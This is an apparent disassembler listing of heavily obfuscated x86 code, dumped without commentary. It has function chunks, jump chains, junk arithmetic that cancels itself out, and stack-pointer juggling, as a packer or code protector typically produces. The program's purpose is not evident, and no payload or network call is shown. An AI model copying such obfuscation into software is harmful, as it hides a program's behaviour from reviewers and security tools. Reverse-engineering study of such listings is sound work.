CHUNK FOR sub_58BAD7 loc_592163: ; CODE XREF: sub_58BAD7+3j mov [esp+4+var_4], esi mov esi, 0FFFFFFFFh push 6F23h mov [esp+8+var_8], esi push ebp push ecx push 33546E84h pop ecx shl ecx, 1 sub ecx, 24752DA7h jg loc_58D35B jmp loc_5938DB ; END OF FUNCTION CHUNK FOR sub_58BAD7 ; --------------------------------------------------------------------------- jmp loc_58CC2D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594767 loc_592193: ; CODE XREF: sub_594767-8C17j xor ebx, 82CEAB56h jmp sub_58CDE6 ; END OF FUNCTION CHUNK FOR sub_594767 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_59219E: ; CODE XREF: sub_591435+3EDj add ebx, 4 add ebx, 4 jmp loc_58C9BA ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59369D loc_5921AF: ; CODE XREF: sub_59369D-70E3j xor ebx, eax jmp loc_596C2C ; END OF FUNCTION CHUNK FOR sub_59369D ; --------------------------------------------------------------------------- loc_5921B6: ; CODE XREF: sdfs____:0058FD50j add dword ptr [esp], 4 pop ebx push esi mov esi, 4 add ebx, esi pop esi push edi jmp loc_58F333 ; --------------------------------------------------------------------------- loc_5921CA: ; CODE XREF: sdfs____:005959F6j mov edx, 0F16035B7h sub eax, 3E16899h add eax, edx add eax, 3E16899h pop edx mov edx, eax mov eax, [esp] push ebx mov ebx, esp add ebx, 4 add ebx, 4 xchg ebx, [esp] pop esp add edx, 0FFFFFFFFh add edx, 4ACA2208h jmp loc_594ABC ; --------------------------------------------------------------------------- loc_5921FF: ; CODE XREF: sdfs____:005908EEj xor ebx, [esp] jmp loc_58EF49 ; --------------------------------------------------------------------------- loc_592207: ; CODE XREF: sdfs____:0059021Ej push ecx mov ecx, esp jmp loc_595659 ; --------------------------------------------------------------------------- loc_59220F: ; CODE XREF: sdfs____:0058CC9Aj movzx eax, al pop small word ptr [edi+eax*4] jmp loc_58DB32 ; --------------------------------------------------------------------------- loc_59221B: ; CODE XREF: sdfs____:00595ABFj mov esi, ebp jmp loc_59114A ; --------------------------------------------------------------------------- loc_592222: ; CODE XREF: sdfs____:0058C9E4j add ebx, ecx jmp loc_58FA3F ; --------------------------------------------------------------------------- loc_592229: ; CODE XREF: sdfs____:00590245j not edx xchg edx, ebx jmp loc_595CEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59214E loc_592232: ; CODE XREF: sub_59214E-4DD8j not edx inc edx jmp loc_58F6AD ; END OF FUNCTION CHUNK FOR sub_59214E ; --------------------------------------------------------------------------- loc_59223A: ; CODE XREF: sdfs____:0058C146j push ecx pushf jmp loc_593AC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CDE6 loc_592241: ; CODE XREF: sub_58CDE6+B8DAj mov edi, 6104E4Ah xor edi, ebx pop ebx jmp loc_58D194 ; END OF FUNCTION CHUNK FOR sub_58CDE6 ; --------------------------------------------------------------------------- loc_59224E: ; CODE XREF: sdfs____:00597A07j ; sdfs____:00597BE5j add esp, 4 push edi mov edi, 2F5518B9h and edi, 7341709Ch jmp loc_598B82 ; --------------------------------------------------------------------------- loc_592262: ; CODE XREF: sdfs____:loc_5949EEj sub esp, 4 jmp loc_59702C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_59226D: ; CODE XREF: sub_5962EB-190Ej jmp loc_58B9C5 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- neg word ptr [esp] pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_596736 loc_59227C: ; CODE XREF: sub_596736-5FD8j mov ebp, 57B652E1h xor [esp+8+var_4], ebp push [esp+8+var_8] pop ebp push eax mov eax, esp sub esp, 4 mov [esp+10h+var_10], edi mov edi, 4 jmp sub_598A21 ; END OF FUNCTION CHUNK FOR sub_596736 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BC4E loc_59229F: ; CODE XREF: sub_58BC4E+A09Cj push 1700h jmp loc_595A2F ; END OF FUNCTION CHUNK FOR sub_58BC4E ; --------------------------------------------------------------------------- loc_5922A9: ; CODE XREF: sdfs____:00591138j xor [esp+4], edx mov edx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 jmp loc_5969DD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CDE6 loc_5922C4: ; CODE XREF: sub_58CDE6+7B67j ; sdfs____:00597A8Ej pop ecx sub edx, edi jmp loc_598C57 ; END OF FUNCTION CHUNK FOR sub_58CDE6 ; --------------------------------------------------------------------------- loc_5922CC: ; CODE XREF: sdfs____:005936EEj ; sdfs____:00595EFFj mov [esp], ebp jmp loc_5906DE ; --------------------------------------------------------------------------- loc_5922D4: ; CODE XREF: sdfs____:00597731j ; sdfs____:005983CEj push eax push edx pop eax pop edx sub eax, 33070D9Fh add eax, 334F4DA5h add ecx, 26F66AC8h add ecx, eax sub ecx, 26F66AC8h pop eax jmp loc_591832 ; --------------------------------------------------------------------------- loc_5922F6: ; CODE XREF: sdfs____:005932DDj push esi jmp loc_58D9FF ; --------------------------------------------------------------------------- loc_5922FC: ; CODE XREF: sdfs____:00597B37j push esi jmp loc_5932B3 ; --------------------------------------------------------------------------- loc_592302: ; CODE XREF: sdfs____:00595E44j jmp loc_58FFB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5917C0 loc_592307: ; CODE XREF: sub_5917C0-17F7j add eax, 4 xchg eax, [esp-4+arg_0] pop esp jmp loc_593595 ; END OF FUNCTION CHUNK FOR sub_5917C0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_592313: ; CODE XREF: sub_594228+409Fj dec esi jl loc_5961B0 sub esi, 0E8850BF0h mov ecx, esi pop esi mov dh, 21h loc_592326: ; CODE XREF: sub_591370+6237j mov ebx, esp jmp loc_58DAE1 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58CDE6 loc_59232D: ; CODE XREF: sub_58CDE6+Bj sub ebp, 1ACA1165h mov ebx, [esp-4+arg_0] push eax mov eax, esp add eax, 4 add eax, 4 jmp loc_58F2E6 ; END OF FUNCTION CHUNK FOR sub_58CDE6 ; --------------------------------------------------------------------------- loc_592346: ; CODE XREF: sdfs____:0058EF80j mov dh, ah pop eax add al, 7 jmp loc_5932FC ; --------------------------------------------------------------------------- loc_592350: ; CODE XREF: sdfs____:00596721j jmp loc_5985D3 ; --------------------------------------------------------------------------- loc_592355: ; CODE XREF: sdfs____:0058F5E2j mov ebx, [esp] add esp, 4 push ecx mov ecx, 4 add ebx, ecx pop ecx jmp loc_595B90 ; --------------------------------------------------------------------------- loc_592369: ; CODE XREF: sdfs____:00597721j sub esp, 4 mov [esp], ebp mov ebp, 70FF23F0h add ebp, 1 shr ebp, 5 add ebp, 347A7B97h push 0 sub [esp], ebp mov ebp, [esp] add esp, 4 push 0 jmp loc_591170 ; --------------------------------------------------------------------------- loc_592398: ; CODE XREF: sdfs____:00590470j ; sdfs____:00591163j not esi jmp loc_58E48B ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_59670A ; --------------------------------------------------------------------------- loc_5923A8: ; CODE XREF: sdfs____:0058F415j shl ecx, 4 jmp loc_58F547 ; --------------------------------------------------------------------------- loc_5923B0: ; CODE XREF: sdfs____:0058ECC1j jmp loc_595E41 ; --------------------------------------------------------------------------- loc_5923B5: ; CODE XREF: sdfs____:00592CBFj mov ecx, [esp] push ecx jmp loc_597FF7 ; --------------------------------------------------------------------------- loc_5923BE: ; CODE XREF: sdfs____:00590C3Fj add ebp, 69735A2Fh pop esi push 278Dh mov [esp], ebx mov ebx, esp add ebx, 4 jmp loc_598968 ; --------------------------------------------------------------------------- loc_5923DA: ; CODE XREF: sdfs____:00593DC5j add esi, 8D8CC6CFh mov ebx, esi pop esi mov edi, ebx pop ebx sub ebx, 51251F07h sub ebx, edi add ebx, 51251F07h pop edi xor ebx, 3ADA24ABh jmp loc_598D2C ; --------------------------------------------------------------------------- loc_592400: ; CODE XREF: sdfs____:005961ABj jnp loc_5950F5 jmp loc_58FC72 ; --------------------------------------------------------------------------- dec cl not cl push ebx push ecx ; START OF FUNCTION CHUNK FOR sub_592853 loc_592411: ; CODE XREF: sub_592853+47AEj pop ebp sub ebx, 2AA76CFh add ebx, ecx jmp loc_58D360 ; END OF FUNCTION CHUNK FOR sub_592853 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_59241F: ; CODE XREF: sub_5962EB:loc_5936FFj or edx, 73EA338Ch jns loc_596894 or edx, 1B2355D6h jmp loc_591F0F ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- pop eax mov ah, 0B3h pop esp loc_59243A: ; CODE XREF: sdfs____:00596380j shl edi, 7 shl edi, 2 dec edi and edi, 17CA6FB5h sub edi, 11CC2CB9h sub eax, edi pop edi mov ebp, [esp] push edx mov edx, esp add edx, 4 add edx, 4 xchg edx, [esp] pop esp add eax, ebx push ecx mov ecx, 48517C5Dh sub eax, 16A32774h add eax, ecx add eax, 16A32774h jmp loc_591C65 ; --------------------------------------------------------------------------- loc_59247C: ; CODE XREF: sdfs____:005924A8j pop ebp sub esi, 5AB2798Fh sub esi, ecx add esi, 5AB2798Fh jmp loc_58F7F1 ; --------------------------------------------------------------------------- loc_592490: ; CODE XREF: sdfs____:005959E8j push edi push esp mov edi, [esp] jmp loc_58F48C ; --------------------------------------------------------------------------- loc_59249A: ; CODE XREF: sdfs____:00590268j xor ecx, 108C846Fh push ebp mov ebp, 0DAF76AEh sub esi, ebp jmp loc_59247C ; --------------------------------------------------------------------------- push dword ptr [esp] jmp loc_58E408 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FE3C loc_5924B5: ; CODE XREF: sub_58FE3C+89B2j push 4 pop edi add ecx, 33D73FC9h add ecx, edi push esi push ecx jmp loc_58D203 ; END OF FUNCTION CHUNK FOR sub_58FE3C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5924CA: ; CODE XREF: sub_591435-56E3j sub edi, 547C01CAh add edi, ecx push ecx mov ecx, 547C01CAh add edi, ecx jmp loc_58D0B6 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- lodsb push ebx jmp loc_58DCC2 ; --------------------------------------------------------------------------- loc_5924E6: ; CODE XREF: sdfs____:00597A6Bj pop edx jmp loc_595F26 ; --------------------------------------------------------------------------- loc_5924EC: ; CODE XREF: sdfs____:00592D3Aj not edi push edi jmp loc_5969F1 ; --------------------------------------------------------------------------- loc_5924F4: ; CODE XREF: sdfs____:00590C27j ; sdfs____:00595C50j mov esp, [esp] mov [esp], edx mov dl, 25h jmp loc_58F0DE ; --------------------------------------------------------------------------- loc_592501: ; CODE XREF: sdfs____:0058BA16j or bl, 7Ah xor bl, 0F1h inc bl sub bl, 0C5h jmp loc_590F72 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_592511: ; CODE XREF: sub_5962EB-4C67j pop ecx add esp, 4 push ebx mov ebx, 24h jmp loc_58F960 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_592523: ; CODE XREF: sub_591370-1995j mov ebp, 46693E3Bh not ebp jmp loc_593B43 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_59252F: ; CODE XREF: sub_5962EB:loc_58C629j xor ebp, 24FA7F09h jnz loc_595214 add ebp, 8825B96h neg ebp jmp loc_591032 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- mov dh, 0EFh ; START OF FUNCTION CHUNK FOR sub_58FE99 loc_59254A: ; CODE XREF: sub_58FE99+Bj add eax, 4 add eax, 4 xchg eax, [esp+14h+var_14] jmp loc_594BF5 ; END OF FUNCTION CHUNK FOR sub_58FE99 ; --------------------------------------------------------------------------- loc_59255C: ; CODE XREF: sdfs____:0058E5F7j mov [esp], edx push ebp jmp loc_595BC1 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58BC4E loc_592565: ; CODE XREF: sub_58BC4E+6F32j or eax, 17A75BF7h push 52CDh mov [esp+8+var_8], ebx push ebp jmp loc_595CDF ; END OF FUNCTION CHUNK FOR sub_58BC4E ; --------------------------------------------------------------------------- loc_592578: ; CODE XREF: sdfs____:00597785j add esi, 4 xor esi, [esp] xor [esp], esi jmp loc_5904BB ; --------------------------------------------------------------------------- loc_592589: ; CODE XREF: sdfs____:00594D6Cj mov edx, 5D881C38h xor ecx, edx pop edx or ecx, 369737D0h shr ecx, 7 jmp loc_59345D ; --------------------------------------------------------------------------- loc_59259F: ; CODE XREF: sdfs____:0059436Dj shl ebx, 1 shr ebx, 1 push ebp mov ebp, 6B7973A1h not ebp jmp loc_58DB8D ; --------------------------------------------------------------------------- loc_5925B0: ; CODE XREF: sdfs____:00590E17j mov [esp], ecx push 679Bh mov [esp], esi push 2EEE4E74h mov esi, [esp] add esp, 4 push 0 sub [esp], esi pop esi and esi, 1F7B6088h jb loc_591B26 push edi mov edi, 3D333F76h jmp loc_5931FF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59369D loc_5925E6: ; CODE XREF: sub_59369D+44D5j sub edx, eax pop eax add ebp, edx pop edx add eax, 32B65472h add eax, ebp push ebx mov ebx, 32B65472h add eax, 44C94C13h sub eax, ebx push ecx push 44C94C13h jmp loc_594D2D ; END OF FUNCTION CHUNK FOR sub_59369D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_59260B: ; CODE XREF: sub_5985AE-A50Dj sub edi, 4 xchg edi, [esp-8+arg_4] pop esp mov [esp-0Ch+arg_8], esi mov esi, 33D01293h sub [esp-0Ch+arg_C], 7B342E1Dh sub [esp-0Ch+arg_C], 3F091B08h add [esp-0Ch+arg_C], esi add [esp-0Ch+arg_C], 3F091B08h push ebp push edi push 5A8F1274h pop edi jmp loc_58C84B ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_592646: ; CODE XREF: sub_5962EB+2267j add esp, [edx+38h] push ebx push edi push eax push 3B0A2673h pop eax xor eax, 0DAC1613h jmp sub_5917C0 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_59265C: ; CODE XREF: sdfs____:00590532j push esi mov esi, 2521316Bh or esi, 44210697h jmp loc_59616C ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_59266D: ; CODE XREF: sub_591370+D9j mov edx, 69C54D65h sub ebx, 77663FCEh sub ebx, edx add ebx, 77663FCEh pop edx add ebx, 4F0E5EE9h sub ebx, 23B06384h sub ebx, 3C247E97h add ebx, eax push edx mov edx, 3C247E97h add ebx, edx mov edx, [esp-0Ch+arg_8] add esp, 4 add ebx, 23B06384h sub esp, 4 mov [esp-0Ch+arg_8], ebp mov ebp, 4F0E5EE9h sub ebx, ebp pop ebp push esi jmp loc_597E67 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- push small word ptr [edx] jmp loc_5916D0 ; --------------------------------------------------------------------------- loc_5926CB: ; CODE XREF: sdfs____:0058CBAEj sub ebx, 26A2396h pop edx push edx mov edx, 2 add ebx, 15A23DCCh add ebx, edx jmp loc_593A4F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5926E5: ; CODE XREF: sub_591435+74BDj xor [esp+0Ch+var_C], edi xor edi, [esp+0Ch+var_C] xor [esp+0Ch+var_C], edi xchg ebp, edi push ebp not [esp+10h+var_10] mov ebp, [esp+10h+var_10] add esp, 4 xchg ebp, edi xor [esp+0Ch+var_C], edi xor edi, [esp+0Ch+var_C] jmp loc_58D610 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_592707: ; CODE XREF: sub_5987BC-54Ej add esp, 4 pop ebp and ecx, edx mov edx, [esp+2+var_4+2] add esp, 4 jmp loc_58CFC2 ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5985AE loc_59271E: ; CODE XREF: sub_5985AE-8CC2j add eax, ebx add eax, 715936A8h jmp loc_595C01 ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- loc_59272A: ; CODE XREF: sdfs____:0058DEE9j sub edx, ecx add edx, 6A764BC1h pop ecx push eax mov eax, 50A431EDh neg eax and eax, 197806ECh jmp loc_592813 ; --------------------------------------------------------------------------- loc_592745: ; CODE XREF: sdfs____:00598041j add eax, 4D7A50ADh mov ecx, [esp] sub esp, 4 mov [esp], ecx mov ecx, esp add ecx, 4 push edx mov edx, 78E14AF9h not edx and edx, 63F72B27h neg edx or edx, 1DCC2B84h add edx, 2120006h add ecx, edx pop edx xchg ecx, [esp] pop esp push 7923h mov [esp], ebp mov ebp, 5DDA6A6Fh jmp loc_591F59 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_592793: ; CODE XREF: sub_59587A-1AF6j dec ebp jnz loc_5965B4 shr ebp, 3 jnz loc_597E85 jp loc_58C3FE loc_5927A9: ; CODE XREF: sdfs____:00593CC7j mov ebx, [esp+0] add esp, 4 jmp loc_594A6A ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59576E loc_5927B7: ; CODE XREF: sub_59576E-6634j or si, cx jmp loc_58DF69 ; END OF FUNCTION CHUNK FOR sub_59576E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_5927BF: ; CODE XREF: sub_59587A+CA6j shl edx, 4 add edx, 39F83CA8h jmp loc_596B2A ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- mov cx, [esp] push esi push 2480h push esp pop dword ptr [esp] push eax mov eax, 4 add [esp+4], eax jmp loc_58D439 ; --------------------------------------------------------------------------- loc_5927EA: ; CODE XREF: sdfs____:00595C32j xchg edx, [esp] pop esp mov [esp], edx sub esp, 4 mov [esp], esp add dword ptr [esp], 4 pop edx add edx, 4 sub esp, 4 jmp loc_59418D ; --------------------------------------------------------------------------- loc_592813: ; CODE XREF: sdfs____:00592740j add eax, 2BF3647Ah sub ecx, eax pop eax sub ecx, 5A4A7BF7h add ecx, edx add ecx, 5A4A7BF7h add ecx, 354B6A7Ah jmp loc_58E1B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_592834: ; CODE XREF: sub_5941BD-43DEj xor ebx, ecx pop ecx add eax, ebx pop ebx sub eax, ebp sub eax, 74593CE0h mov ebp, [esp+8+var_8] add esp, 4 sub esp, 4 mov [esp+8+var_8], eax push ecx jmp loc_58FC72 ; END OF FUNCTION CHUNK FOR sub_5941BD ; =============== S U B R O U T I N E ======================================= sub_592853 proc near ; CODE XREF: sub_58E146-FB7j var_C = dword ptr -0Ch var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0058BFA6 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0058BFBC SIZE 00000014 BYTES ; FUNCTION CHUNK AT 0058D360 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 00591759 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 00592411 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 00596FF6 SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0059736F SIZE 00000014 BYTES ; FUNCTION CHUNK AT 005978E0 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 00597AC9 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 00597D94 SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0059866F SIZE 00000012 BYTES push ebx mov ebx, 4 sub ebp, ebx pop ebx xor ebp, [esp-4+arg_0] jmp loc_58BFBC sub_592853 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5962EB loc_592864: ; CODE XREF: sub_5962EB-44CAj pop esi jmp loc_595E10 ; END OF FUNCTION CHUNK FOR sub_5962EB ; --------------------------------------------------------------------------- loc_59286A: ; CODE XREF: sdfs____:0059688Fj shr cl, 8 jz loc_597C23 jmp loc_596869 ; --------------------------------------------------------------------------- xchg ecx, ebx jmp loc_58D43F ; --------------------------------------------------------------------------- pop edi loc_592880: ; CODE XREF: sdfs____:0058C0BEj add edx, ecx sub edx, 3F564214h pop ecx xchg edx, [esp] mov esp, [esp] mul cx push ebp mov ebp, esp push edi push eax mov eax, 4 mov edi, eax mov eax, [esp] add esp, 4 add ebp, edi pop edi push 7B8Eh mov [esp], edx mov edx, 2 sub ebp, 460C4516h add ebp, 1F3E34C4h sub ebp, edx sub ebp, 1F3E34C4h jmp loc_5915D8 ; --------------------------------------------------------------------------- loc_5928CD: ; CODE XREF: sdfs____:0058E10Fj push esi mov esi, 4 add ebp, esi pop esi jmp loc_5982D9 ; --------------------------------------------------------------------------- loc_5928DB: ; CODE XREF: sdfs____:005967A6j jmp loc_58CB78 ; --------------------------------------------------------------------------- loc_5928E0: ; CODE XREF: sdfs____:0058FC94j mov [esp], ebp push esi mov esi, 770B7B79h add esi, 88F4848Bh mov ebp, esi jmp loc_5955F4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59377D loc_5928F6: ; CODE XREF: sub_59377D-4138j add esp, 4 jmp loc_5975CA ; END OF FUNCTION CHUNK FOR sub_59377D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_5928FE: ; CODE XREF: sub_591435-11E0j add ebp, 506C2058h xor ebp, 2CC9357Dh mov ecx, ebp pop ebp jmp sub_592D3F ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- loc_592912: ; CODE XREF: sdfs____:0058E911j push esp pop edx jmp loc_58E57F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59841F loc_592919: ; CODE XREF: sub_59841F-7BADj add al, 0F5h add al, 58h push ecx mov ch, 9Ah sub al, 0A7h sub al, 22h sub al, ch push cx mov ch, 22h add al, ch pop cx push ebx mov bh, 0D7h not bh jmp sub_591397 ; END OF FUNCTION CHUNK FOR sub_59841F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5987BC loc_592938: ; CODE XREF: sub_5987BC-3203j push eax push dword ptr [esp+4] mov eax, [esp+6+var_8+2] add esp, 4 pop [esp+2+var_4+2] xor eax, edi xor edi, eax xor eax, edi push edi push eax pop edi mov eax, [esp+2+var_4+2] add esp, 4 not eax jmp loc_58CB72 ; END OF FUNCTION CHUNK FOR sub_5987BC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59214E loc_59295F: ; CODE XREF: sub_59214E-4DF8j add ecx, edx sub ecx, 1A910223h pop edx add ecx, 2 xchg ecx, [esp+0] jmp loc_58CDD9 ; END OF FUNCTION CHUNK FOR sub_59214E ; --------------------------------------------------------------------------- loc_592976: ; CODE XREF: sdfs____:0058DFF3j push ebx jmp loc_592A64 ; --------------------------------------------------------------------------- loc_59297C: ; CODE XREF: sdfs____:00592112j xchg ebp, [esp] pop esp push ecx sub esp, 4 mov [esp], ebp push eax push ebx mov ebx, 11D92B80h mov eax, 3DD4E007h add eax, ebx mov ebx, [esp] jmp loc_592CA9 ; --------------------------------------------------------------------------- loc_59299D: ; CODE XREF: sdfs____:005911CDj add esi, 4 jmp loc_598CC8 ; --------------------------------------------------------------------------- loc_5929A8: ; CODE XREF: sdfs____:0059631Bj push ebx mov ebx, esp add ebx, 4 sub esp, 4 jmp loc_590B81 ; =============== S U B R O U T I N E ======================================= sub_5929B9 proc near ; CODE XREF: sub_591435+4A83j sub esp, 4 jmp loc_59194A sub_5929B9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5941BD loc_5929C1: ; CODE XREF: sub_5941BD-491Bj add esp, 4 or ebx, 30946CC4h jmp loc_5967D9 ; END OF FUNCTION CHUNK FOR sub_5941BD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59587A loc_5929CF: ; CODE XREF: sub_59587A-1069j mov [esp-6+arg_0+2], edi mov edi, esp add edi, 4 add edi, 4 xor edi, [esp-6+arg_0+2] xor [esp-6+arg_0+2], edi xor edi, [esp-6+arg_0+2] pop esp jmp loc_59597F ; END OF FUNCTION CHUNK FOR sub_59587A ; --------------------------------------------------------------------------- loc_5929EC: ; CODE XREF: sdfs____:0059118Dj mov edx, 4A9B2E6Dh sub edx, 47932BF2h and edx, 4CC111A0h xor edx, 21267B6h push ecx mov ecx, 2C82175Ah xor ecx, 0CA72965h neg ecx push 1 mov [esp], edx mov edx, 515A12D9h jmp loc_58FF36 ; --------------------------------------------------------------------------- loc_592A23: ; CODE XREF: sdfs____:0058BFE5j mov esi, eax mov eax, [esp] add esp, 4 xor eax, esi pop esi push ebx jmp loc_593127 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591370 loc_592A37: ; CODE XREF: sub_591370-1759j pop esp push edi push eax mov eax, 14892763h mov edi, 0EB76D89Fh add edi, eax jmp loc_58D6E9 ; END OF FUNCTION CHUNK FOR sub_591370 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_592A4B: ; CODE XREF: sub_594228:loc_591814j sub ebp, 3597C875h mov esi, ebp pop ebp jmp loc_597A49 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_59377D loc_592A59: ; CODE XREF: sub_59377D+1890j ; sdfs____:0059860Ej add esi, 1A1F583Ch jmp loc_58F640 ; END OF FUNCTION CHUNK FOR sub_59377D ; --------------------------------------------------------------------------- loc_592A64: ; CODE XREF: sdfs____:00592977j push 58172661h jmp loc_58FE80 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_591435 loc_592A6E: ; CODE XREF: sub_591435-11BEj mov bl, dl mov cl, bl jmp loc_58FC37 ; END OF FUNCTION CHUNK FOR sub_591435 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_592A77: ; CODE XREF: sub_594228+3940j pop [esp+1Eh+var_20+2] mov esp, [esp+1Ah+var_1C+2] and eax, ebp jmp loc_594CF0 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58FA0A loc_592A84: ; CODE XREF: sub_58FA0A+35E5j xchg ecx, [esp+4+var_4] pop esp ; END OF FUNCTION CHUNK FOR sub_58FA0A ; START OF FUNCTION CHUNK FOR sub_5985AE loc_592A88: ; CODE XREF: sub_592F43+988j ; sub_5985AE-2EF9j push dword ptr [edi+24h] push [esp-8+arg_4] pop ecx push 407Ch jmp loc_59719A ; END OF FUNCTION CHUNK FOR sub_5985AE ; --------------------------------------------------------------------------- loc_592A99: ; CODE XREF: sdfs____:005901A6j push cx mov cl, bl not cl mov bl, cl pop cx add bl, 10h push cx push eax mov al, bl mov ch, al pop eax dec ch mov bl, ch jmp loc_595CBC ; --------------------------------------------------------------------------- loc_592AB7: ; CODE XREF: sdfs____:005955CCj push ebp jmp loc_58BF8A ; --------------------------------------------------------------------------- loc_592ABD: ; CODE XREF: sdfs____:00593484j add bl, 0D4h jmp loc_58FB1D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5934D7 loc_592AC5: ; CODE XREF: sub_5934D7+4BB6j pop esi add [esp+8+var_4], esi jmp loc_5976DD ; END OF FUNCTION CHUNK FOR sub_5934D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_58EC6C loc_592ACF: ; CODE XREF: sub_58EC6C+1j push 2 mov ebp, [esp+8+var_8] jmp loc_591CED ; END OF FUNCTION CHUNK FOR sub_58EC6C ; --------------------------------------------------------------------------- loc_592ADC: ; CODE XREF: sdfs____:00596568j add esi, 55366E36h sub esi, 458A26A0h add esi, eax add esi, 458A26A0h sub esi, 55366E36h jmp loc_58C528 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_594228 loc_592AFB: ; CODE XREF: sub_594228-5016j jo loc_58F838 add esi, 0A17C92E8h mov edx, esi jmp loc_597FD5 ; END OF FUNCTION CHUNK FOR sub_594228 ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop ax sbb [esp], ax pushf jmp loc_58B9C5 ; --------------------------------------------------------------------------- push dword ptr [esp] push dword ptr [esp] mov ecx, [esp] add esp, 4 push edi push esp pop edi add edi, 4 push ebp jmp loc_597ABC ; --------------------------------------------------------------------------- loc_592B3C: ; CODE XREF: sdfs____:005960E6j not ebp shr ebp, 3 jmp loc_5935F1 ; --------------------------------------------------------------------------- loc_592B46: ; CODE XREF: sdfs____:0058FF45j sub edx, ecx pop ecx jmp loc_598A5F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_595678 loc_592B4E: ; CODE XREF: sub_595678-5B60j pop ecx add ebp, 4 push ebp push [esp+8+var_4] pop ebp pop [esp+8+var_8] 